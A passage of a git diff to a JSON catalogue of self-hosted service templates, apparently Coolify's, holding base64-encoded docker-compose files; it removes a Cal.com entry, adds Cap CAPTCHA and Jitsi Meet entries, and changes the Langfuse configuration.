"c2VydmljZXM6CiAgYmVzemVsOgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbDowLjE4LjcnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9CRVNaRUxfODA5MAogICAgICAtICdDT05UQUlORVJfREVUQUlMUz0ke0NPTlRBSU5FUl9ERVRBSUxTOi10cnVlfScKICAgICAgLSAnU0hBUkVfQUxMX1NZU1RFTVM9JHtTSEFSRV9BTExfU1lTVEVNUzotZmFsc2V9JwogICAgdm9sdW1lczoKICAgICAgLSAnYmVzemVsX2RhdGE6L2Jlc3plbF9kYXRhJwogICAgICAtICdiZXN6ZWxfc29ja2V0Oi9iZXN6ZWxfc29ja2V0JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIC9iZXN6ZWwKICAgICAgICAtIGhlYWx0aAogICAgICAgIC0gJy0tdXJsJwogICAgICAgIC0gJ2h0dHA6Ly9sb2NhbGhvc3Q6ODA5MCcKICAgICAgaW50ZXJ2YWw6IDMwcwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICAgICAgc3RhcnRfcGVyaW9kOiA1cwogIGJlc3plbC1hZ2VudDoKICAgIGltYWdlOiAnaGVucnlnZC9iZXN6ZWwtYWdlbnQ6MC4xOC43JwogICAgbmV0d29ya19tb2RlOiBob3N0CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBMSVNURU49L2Jlc3plbF9zb2NrZXQvYmVzemVsLnNvY2sKICAgICAgLSBIVUJfVVJMPSRTRVJWSUNFX1VSTF9CRVNaRUwKICAgICAgLSAnVE9LRU49JHtUT0tFTn0nCiAgICAgIC0gJ0tFWT0ke0tFWX0nCiAgICAgIC0gJ0RJU0FCTEVfU1NIPSR7RElTQUJMRV9TU0g6LWZhbHNlfScKICAgICAgLSAnTE9HX0xFVkVMPSR7TE9HX0xFVkVMOi13YXJufScKICAgICAgLSAnU0tJUF9HUFU9JHtTS0lQX0dQVTotZmFsc2V9JwogICAgICAtICdTWVNURU1fTkFNRT0ke1NZU1RFTV9OQU1FfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Jlc3plbF9hZ2VudF9kYXRhOi92YXIvbGliL2Jlc3plbC1hZ2VudCcKICAgICAgLSAnYmVzemVsX3NvY2tldDovYmVzemVsX3NvY2tldCcKICAgICAgLSAnL3Zhci9ydW4vZG9ja2VyLnNvY2s6L3Zhci9ydW4vZG9ja2VyLnNvY2s6cm8nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gL2FnZW50CiAgICAgICAgLSBoZWFsdGgKICAgICAgaW50ZXJ2YWw6IDYwcwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICAgICAgc3RhcnRfcGVyaW9kOiA1cwo=", "tags": [ "beszel", "monitoring", @@ -394,23 +394,6 @@ "minversion": "0.0.0", "port": "8000" }, - "calcom": { - "documentation": "https://cal.com/docs/developing/introduction?utm_source=coolify.io", - "slogan": "Scheduling infrastructure for everyone.", - "compose": "c2VydmljZXM6CiAgY2FsY29tOgogICAgaW1hZ2U6IGNhbGNvbS5kb2NrZXIuc2NhcmYuc2gvY2FsY29tL2NhbC5jb20KICAgIHBsYXRmb3JtOiBsaW51eC9hbWQ2NAogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfQ0FMQ09NXzMwMDAKICAgICAgLSBORVhUX1BVQkxJQ19MSUNFTlNFX0NPTlNFTlQ9YWdyZWUKICAgICAgLSBOT0RFX0VOVj1wcm9kdWN0aW9uCiAgICAgIC0gJ05FWFRfUFVCTElDX1dFQkFQUF9VUkw9JHtTRVJWSUNFX1VSTF9DQUxDT019JwogICAgICAtICdORVhUX1BVQkxJQ19BUElfVjJfVVJMPSR7U0VSVklDRV9VUkxfQ0FMQ09NfS9hcGkvdjInCiAgICAgIC0gJ05FWFRBVVRIX1VSTD0ke1NFUlZJQ0VfVVJMX0NBTENPTX0vYXBpL2F1dGgnCiAgICAgIC0gJ05FWFRBVVRIX1NFQ1JFVD0ke1NFUlZJQ0VfQkFTRTY0X0NBTENPTVNFQ1JFVH0nCiAgICAgIC0gJ0NBTEVORFNPX0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9CQVNFNjRfQ0FMQ09NS0VZfScKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LWNhbGVuZHNvfScKICAgICAgLSBEQVRBQkFTRV9IT1NUPXBvc3RncmVzcWwKICAgICAgLSAnREFUQUJBU0VfVVJMPXBvc3RncmVzcWw6Ly8ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU306JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUAke0RBVEFCQVNFX0hPU1Q6LXBvc3RncmVzcWx9LyR7UE9TVEdSRVNfREI6LWNhbGVuZHNvfScKICAgICAgLSAnREFUQUJBU0VfRElSRUNUX1VSTD1wb3N0Z3Jlc3FsOi8vJHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9OiR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU31AJHtEQVRBQkFTRV9IT1NUOi1wb3N0Z3Jlc3FsfS8ke1BPU1RHUkVTX0RCOi1jYWxlbmRzb30nCiAgICAgIC0gQ0FMQ09NX1RFTEVNRVRSWV9ESVNBQkxFRD0xCiAgICAgIC0gJ0VNQUlMX0ZST009JHtFTUFJTF9GUk9NfScKICAgICAgLSAnRU1BSUxfRlJPTV9OQU1FPSR7RU1BSUxfRlJPTV9OQU1FfScKICAgICAgLSAnRU1BSUxfU0VSVkVSX0hPU1Q9JHtFTUFJTF9TRVJWRVJfSE9TVH0nCiAgICAgIC0gJ0VNQUlMX1NFUlZFUl9QT1JUPSR7RU1BSUxfU0VSVkVSX1BPUlR9JwogICAgICAtICdFTUFJTF9TRVJWRVJfVVNFUj0ke0VNQUlMX1NFUlZFUl9VU0VSfScKICAgICAgLSAnRU1BSUxfU0VSVkVSX1BBU1NXT1JEPSR7RU1BSUxfU0VSVkVSX1BBU1NXT1JEfScKICAgICAgLSAnTkVYVF9QVUJMSUNfQVBQX05BTUU9IkNhbC5jb20iJwogICAgICAtICdBTExPV0VEX0hPU1ROQU1FUz1bIiR7U0VSVklDRV9VUkxfQ0FMQ09NfSJdJwogICAgZGVwZW5kc19vbjoKICAgICAgLSBwb3N0Z3Jlc3FsCiAgcG9zdGdyZXNxbDoKICAgIGltYWdlOiAncG9zdGdyZXM6MTYtYWxwaW5lJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1jYWxlbmRzb30nCiAgICB2b2x1bWVzOgogICAgICAtICdjYWxjb20tcG9zdGdyZXNxbC1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK", - "tags": [ - "calcom", - "calendso", - "scheduling", - "open", - "source" - ], - "category": "productivity", - "logo": "svgs/calcom.svg", - "minversion": "0.0.0", - "port": "3000", - "amd_only": true - }, "calibre-web-automated-book-downloader": { "documentation": "https://github.com/calibrain/calibre-web-automated-book-downloader?utm_source=coolify.io", "slogan": "An intuitive web interface for searching and requesting book downloads, designed to work seamlessly with Calibre-Web-Automated.", @@ -453,6 +436,21 @@ "minversion": "0.0.0", "port": "8083" }, + "cap-captcha": { + "documentation": "https://capjs.js.org/guide/?utm_source=coolify.io", + "slogan": "The self-hosted CAPTCHA for the modern web.", + "compose": "c2VydmljZXM6CiAgY2FwOgogICAgaW1hZ2U6ICd0aWFnbzIvY2FwOjMuMC40JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfQ0FQXzMwMDAKICAgICAgLSBBRE1JTl9LRVk9JFNFUlZJQ0VfUEFTU1dPUkRfQURNSU4KICAgICAgLSAnUkVESVNfVVJMPXJlZGlzOi8vdmFsa2V5OjYzNzknCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gYnVuCiAgICAgICAgLSAnLWUnCiAgICAgICAgLSAiZmV0Y2goJ2h0dHA6Ly9sb2NhbGhvc3Q6MzAwMCcpLnRoZW4ociA9PiB7IGlmICghci5vaykgcHJvY2Vzcy5leGl0KDEpIH0pLmNhdGNoKCgpID0+IHByb2Nlc3MuZXhpdCgxKSkiCiAgICAgIGludGVydmFsOiAzMHMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMwogICAgICBzdGFydF9wZXJpb2Q6IDVzCiAgICBkZXBlbmRzX29uOgogICAgICB2YWxrZXk6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICB2YWxrZXk6CiAgICBpbWFnZTogJ3ZhbGtleS92YWxrZXk6OS1hbHBpbmUnCiAgICB2b2x1bWVzOgogICAgICAtICd2YWxrZXktZGF0YTovZGF0YScKICAgIGNvbW1hbmQ6ICd2YWxrZXktc2VydmVyIC0tc2F2ZSA2MCAxIC0tbG9nbGV2ZWwgd2FybmluZyAtLW1heG1lbW9yeS1wb2xpY3kgbm9ldmljdGlvbicKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSB2YWxrZXktY2xpCiAgICAgICAgLSBwaW5nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAzcwogICAgICByZXRyaWVzOiA1Cg==", + "tags": [ + "captcha", + "security", + "privacy", + "proof-of-work" + ], + "category": "security", + "logo": "svgs/cap-captcha.png", + "minversion": "0.0.0", + "port": "3000" + }, "cap": { "documentation": "https://cap.so?utm_source=coolify.io", "slogan": "Cap is the open source alternative to Loom. Lightweight, powerful, and cross-platform. Record and share in seconds.", @@ -2191,6 +2189,23 @@ "minversion": "0.0.0", "port": "8080" }, + "jitsi": { + "documentation": "https://jitsi.github.io/handbook/docs/devops-guide/devops-guide-docker/?utm_source=coolify.io", + "slogan": "Self-hosted Jitsi Meet \u2014 open-source video conferencing platform", + "compose": "c2VydmljZXM6CiAgaml0c2ktd2ViOgogICAgaW1hZ2U6ICdqaXRzaS93ZWI6c3RhYmxlLTEwODg4JwogICAgcmVzdGFydDogdW5sZXNzLXN0b3BwZWQKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX0pJVFNJCiAgICAgIC0gUFVCTElDX1VSTD0kU0VSVklDRV9VUkxfSklUU0kKICAgICAgLSBFTkFCTEVfQVVUSD0wCiAgICAgIC0gRU5BQkxFX0dVRVNUUz0xCiAgICAgIC0gRU5BQkxFX0xFVFNFTkNSWVBUPTAKICAgICAgLSBFTkFCTEVfSFRUUF9SRURJUkVDVD0wCiAgICAgIC0gRElTQUJMRV9IVFRQUz0xCiAgICAgIC0gWE1QUF9ET01BSU49bWVldC5qaXRzaQogICAgICAtIFhNUFBfQVVUSF9ET01BSU49YXV0aC5tZWV0LmppdHNpCiAgICAgIC0gWE1QUF9HVUVTVF9ET01BSU49Z3Vlc3QubWVldC5qaXRzaQogICAgICAtIFhNUFBfTVVDX0RPTUFJTj1jb25mZXJlbmNlLm1lZXQuaml0c2kKICAgICAgLSBYTVBQX0lOVEVSTkFMX01VQ19ET01BSU49aW50ZXJuYWwuYXV0aC5tZWV0LmppdHNpCiAgICAgIC0gJ1hNUFBfQk9TSF9VUkxfQkFTRT1odHRwOi8vcHJvc29keTo1MjgwJwogICAgICAtIEpWQl9CUkVXRVJZX01VQz1qdmJicmV3ZXJ5CiAgICAgIC0gJ0pJQ09GT19DT01QT05FTlRfU0VDUkVUPSR7U0VSVklDRV9QQVNTV09SRF9KSUNPRk99JwogICAgICAtICdKSUNPRk9fQVVUSF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfSklDT0ZPfScKICAgICAgLSAnSlZCX0FVVEhfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0pWQn0nCiAgICAgIC0gJ1RaPSR7VFo6LVVUQ30nCiAgICBkZXBlbmRzX29uOgogICAgICAtIHByb3NvZHkKICAgICAgLSBqaWNvZm8KICAgICAgLSBqdmIKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2ppdHNpLXdlYjovY29uZmlnJwogICAgbmV0d29ya3M6CiAgICAgIG1lZXQuaml0c2k6CiAgICAgICAgYWxpYXNlczoKICAgICAgICAgIC0gbWVldC5qaXRzaQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctZicKICAgICAgICAtICdodHRwOi8vbG9jYWxob3N0JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDE1CiAgcHJvc29keToKICAgIGltYWdlOiAnaml0c2kvcHJvc29keTpzdGFibGUtMTA4ODgnCiAgICByZXN0YXJ0OiB1bmxlc3Mtc3RvcHBlZAogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gQVVUSF9UWVBFPWludGVybmFsCiAgICAgIC0gRU5BQkxFX0FVVEg9MAogICAgICAtIEVOQUJMRV9HVUVTVFM9MQogICAgICAtIFhNUFBfRE9NQUlOPW1lZXQuaml0c2kKICAgICAgLSBYTVBQX0FVVEhfRE9NQUlOPWF1dGgubWVldC5qaXRzaQogICAgICAtIFhNUFBfR1VFU1RfRE9NQUlOPWd1ZXN0Lm1lZXQuaml0c2kKICAgICAgLSBYTVBQX01VQ19ET01BSU49Y29uZmVyZW5jZS5tZWV0LmppdHNpCiAgICAgIC0gWE1QUF9JTlRFUk5BTF9NVUNfRE9NQUlOPWludGVybmFsLmF1dGgubWVldC5qaXRzaQogICAgICAtICdKSUNPRk9fQ09NUE9ORU5UX1NFQ1JFVD0ke1NFUlZJQ0VfUEFTU1dPUkRfSklDT0ZPfScKICAgICAgLSAnSklDT0ZPX0FVVEhfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0pJQ09GT30nCiAgICAgIC0gJ0pWQl9BVVRIX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9KVkJ9JwogICAgICAtIFBVQkxJQ19VUkw9JFNFUlZJQ0VfVVJMX0pJVFNJCiAgICAgIC0gJ1RaPSR7VFo6LVVUQ30nCiAgICAgIC0gJ0xPR19MRVZFTD0ke0xPR19MRVZFTDotaW5mb30nCiAgICB2b2x1bWVzOgogICAgICAtICdqaXRzaS1wcm9zb2R5Oi9jb25maWcnCiAgICBuZXR3b3JrczoKICAgICAgbWVldC5qaXRzaToKICAgICAgICBhbGlhc2VzOgogICAgICAgICAgLSB4bXBwLm1lZXQuaml0c2kKICAgICAgICAgIC0gYXV0aC5tZWV0LmppdHNpCiAgICAgICAgICAtIGd1ZXN0Lm1lZXQuaml0c2kKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBjdXJsCiAgICAgICAgLSAnLWYnCiAgICAgICAgLSAnaHR0cDovL2xvY2FsaG9zdDo1MjgwL2h0dHAtYmluZCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIGppY29mbzoKICAgIGltYWdlOiAnaml0c2kvamljb2ZvOnN0YWJsZS0xMDg4OCcKICAgIHJlc3RhcnQ6IHVubGVzcy1zdG9wcGVkCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBBVVRIX1RZUEU9aW50ZXJuYWwKICAgICAgLSBFTkFCTEVfQVVUSD0wCiAgICAgIC0gWE1QUF9ET01BSU49bWVldC5qaXRzaQogICAgICAtIFhNUFBfQVVUSF9ET01BSU49YXV0aC5tZWV0LmppdHNpCiAgICAgIC0gWE1QUF9JTlRFUk5BTF9NVUNfRE9NQUlOPWludGVybmFsLmF1dGgubWVldC5qaXRzaQogICAgICAtIFhNUFBfTVVDX0RPTUFJTj1jb25mZXJlbmNlLm1lZXQuaml0c2kKICAgICAgLSBYTVBQX1NFUlZFUj1wcm9zb2R5CiAgICAgIC0gJ0pJQ09GT19DT01QT05FTlRfU0VDUkVUPSR7U0VSVklDRV9QQVNTV09SRF9KSUNPRk99JwogICAgICAtICdKSUNPRk9fQVVUSF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfSklDT0ZPfScKICAgICAgLSBKVkJfQlJFV0VSWV9NVUM9anZiYnJld2VyeQogICAgICAtIEpJQ09GT19FTkFCTEVfSEVBTFRIX0NIRUNLUz0xCiAgICAgIC0gJ1RaPSR7VFo6LVVUQ30nCiAgICBkZXBlbmRzX29uOgogICAgICAtIHByb3NvZHkKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2ppdHNpLWppY29mbzovY29uZmlnJwogICAgbmV0d29ya3M6CiAgICAgIG1lZXQuaml0c2k6IG51bGwKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBjdXJsCiAgICAgICAgLSAnLWYnCiAgICAgICAgLSAnaHR0cDovL2xvY2FsaG9zdDo4ODg4L2Fib3V0L2hlYWx0aCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIGp2YjoKICAgIGltYWdlOiAnaml0c2kvanZiOnN0YWJsZS0xMDg4OCcKICAgIHJlc3RhcnQ6IHVubGVzcy1zdG9wcGVkCiAgICBwb3J0czoKICAgICAgLSAnMTAwMDA6MTAwMDAvdWRwJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gWE1QUF9TRVJWRVI9cHJvc29keQogICAgICAtIFhNUFBfRE9NQUlOPW1lZXQuaml0c2kKICAgICAgLSBYTVBQX0FVVEhfRE9NQUlOPWF1dGgubWVldC5qaXRzaQogICAgICAtIFhNUFBfSU5URVJOQUxfTVVDX0RPTUFJTj1pbnRlcm5hbC5hdXRoLm1lZXQuaml0c2kKICAgICAgLSBYTVBQX01VQ19ET01BSU49Y29uZmVyZW5jZS5tZWV0LmppdHNpCiAgICAgIC0gSlZCX0FVVEhfVVNFUj1qdmIKICAgICAgLSAnSlZCX0FVVEhfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0pWQn0nCiAgICAgIC0gSlZCX0JSRVdFUllfTVVDPWp2YmJyZXdlcnkKICAgICAgLSBKVkJfUE9SVD0xMDAwMAogICAgICAtICdKVkJfQURWRVJUSVNFX0lQUz0ke0pWQl9BRFZFUlRJU0VfSVBTOi19JwogICAgICAtICdKVkJfU1RVTl9TRVJWRVJTPSR7SlZCX1NUVU5fU0VSVkVSUzotc3R1bi5sLmdvb2dsZS5jb206MTkzMDJ9JwogICAgICAtIFBVQkxJQ19VUkw9JFNFUlZJQ0VfVVJMX0pJVFNJCiAgICAgIC0gJ1RaPSR7VFo6LVVUQ30nCiAgICBkZXBlbmRzX29uOgogICAgICAtIHByb3NvZHkKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2ppdHNpLWp2YjovY29uZmlnJwogICAgbmV0d29ya3M6CiAgICAgIG1lZXQuaml0c2k6IG51bGwKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBjdXJsCiAgICAgICAgLSAnLWYnCiAgICAgICAgLSAnaHR0cDovL2xvY2FsaG9zdDo4MDgwL2Fib3V0L2hlYWx0aCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQpuZXR3b3JrczoKICBtZWV0LmppdHNpOiBudWxsCg==", + "tags": [ + "jitsi", + "video", + "conference", + "webrtc", + "meeting", + "self-hosted" + ], + "category": "productivity", + "logo": "svgs/jitsi.svg", + "minversion": "0.0.0", + "port": "80" + }, "joomla-with-mariadb": { "documentation": "https://joomla.org?utm_source=coolify.io", "slogan": "Joomla! is the mobile-ready and user-friendly way to build your website. Choose from thousands of features and designs. Joomla! is free and open source.", @@ -2388,7 +2403,7 @@ "langfuse": { "documentation": "https://langfuse.com/docs?utm_source=coolify.io", "slogan": "Langfuse is an open-source LLM engineering platform that helps teams collaboratively debug, analyze, and iterate on their LLM applications.", - "compose": "eC1hcHAtZW52OgogIC0gJ05FWFRBVVRIX1VSTD0ke1NFUlZJQ0VfVVJMX0xBTkdGVVNFfScKICAtICdEQVRBQkFTRV9VUkw9cG9zdGdyZXNxbDovLyR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfToke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QHBvc3RncmVzOjU0MzIvJHtQT1NUR1JFU19EQjotbGFuZ2Z1c2UtZGJ9JwogIC0gJ1NBTFQ9JHtTRVJWSUNFX1BBU1NXT1JEX1NBTFR9JwogIC0gJ0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9QQVNTV09SRF82NF9MQU5HRlVTRX0nCiAgLSAnVEVMRU1FVFJZX0VOQUJMRUQ9JHtURUxFTUVUUllfRU5BQkxFRDotZmFsc2V9JwogIC0gJ0xBTkdGVVNFX0VOQUJMRV9FWFBFUklNRU5UQUxfRkVBVFVSRVM9JHtMQU5HRlVTRV9FTkFCTEVfRVhQRVJJTUVOVEFMX0ZFQVRVUkVTOi1mYWxzZX0nCiAgLSAnQ0xJQ0tIT1VTRV9NSUdSQVRJT05fVVJMPWNsaWNraG91c2U6Ly9jbGlja2hvdXNlOjkwMDAnCiAgLSAnQ0xJQ0tIT1VTRV9VUkw9aHR0cDovL2NsaWNraG91c2U6ODEyMycKICAtICdDTElDS0hPVVNFX1VTRVI9JHtTRVJWSUNFX1VTRVJfQ0xJQ0tIT1VTRX0nCiAgLSAnQ0xJQ0tIT1VTRV9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfQ0xJQ0tIT1VTRX0nCiAgLSBDTElDS0hPVVNFX0NMVVNURVJfRU5BQkxFRD1mYWxzZQogIC0gJ0xBTkdGVVNFX1VTRV9BWlVSRV9CTE9CPSR7TEFOR0ZVU0VfVVNFX0FaVVJFX0JMT0I6LWZhbHNlfScKICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0JVQ0tFVDotbGFuZ2Z1c2V9JwogIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9SRUdJT049JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUkVHSU9OOi1hdXRvfScKICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQUNDRVNTX0tFWV9JRD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9BQ0NFU1NfS0VZX0lEfScKICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVl9JwogIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9FTkRQT0lOVH0nCiAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRTotdHJ1ZX0nCiAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1BSRUZJWD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9QUkVGSVg6LWV2ZW50cy99JwogIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9CVUNLRVQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQlVDS0VUOi1sYW5nZnVzZX0nCiAgLSAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1JFR0lPTj0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9SRUdJT046LWF1dG99JwogIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0FDQ0VTU19LRVlfSUR9JwogIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWT0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWX0nCiAgLSAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0VORFBPSU5UPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0VORFBPSU5UfScKICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUFJFRklYPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1BSRUZJWDotbWVkaWEvfScKICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5BQkxFRD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkFCTEVEOi1mYWxzZX0nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0JVQ0tFVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9CVUNLRVQ6LWxhbmdmdXNlfScKICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUFJFRklYPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1BSRUZJWDotZXhwb3J0cy99JwogIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9SRUdJT049JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUkVHSU9OOi1hdXRvfScKICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5EUE9JTlR9JwogIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FWFRFUk5BTF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FWFRFUk5BTF9FTkRQT0lOVH0nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0FDQ0VTU19LRVlfSUQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQUNDRVNTX0tFWV9JRH0nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1NFQ1JFVF9BQ0NFU1NfS0VZPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1NFQ1JFVF9BQ0NFU1NfS0VZfScKICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAtICdMQU5HRlVTRV9JTkdFU1RJT05fUVVFVUVfREVMQVlfTVM9JHtMQU5HRlVTRV9JTkdFU1RJT05fUVVFVUVfREVMQVlfTVM6LTF9JwogIC0gJ0xBTkdGVVNFX0lOR0VTVElPTl9DTElDS0hPVVNFX1dSSVRFX0lOVEVSVkFMX01TPSR7TEFOR0ZVU0VfSU5HRVNUSU9OX0NMSUNLSE9VU0VfV1JJVEVfSU5URVJWQUxfTVM6LTEwMDB9JwogIC0gUkVESVNfSE9TVD1yZWRpcwogIC0gUkVESVNfUE9SVD02Mzc5CiAgLSAnUkVESVNfQVVUSD0ke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogIC0gJ0VNQUlMX0ZST01fQUREUkVTUz0ke0VNQUlMX0ZST01fQUREUkVTUzotYWRtaW5AZXhhbXBsZS5jb219JwogIC0gJ1NNVFBfQ09OTkVDVElPTl9VUkw9JHtTTVRQX0NPTk5FQ1RJT05fVVJMOi19JwogIC0gJ05FWFRBVVRIX1NFQ1JFVD0ke1NFUlZJQ0VfQkFTRTY0X05FWFRBVVRIU0VDUkVUfScKICAtICdBVVRIX0RJU0FCTEVfU0lHTlVQPSR7QVVUSF9ESVNBQkxFX1NJR05VUDotdHJ1ZX0nCiAgLSAnSE9TVE5BTUU9JHtIT1NUTkF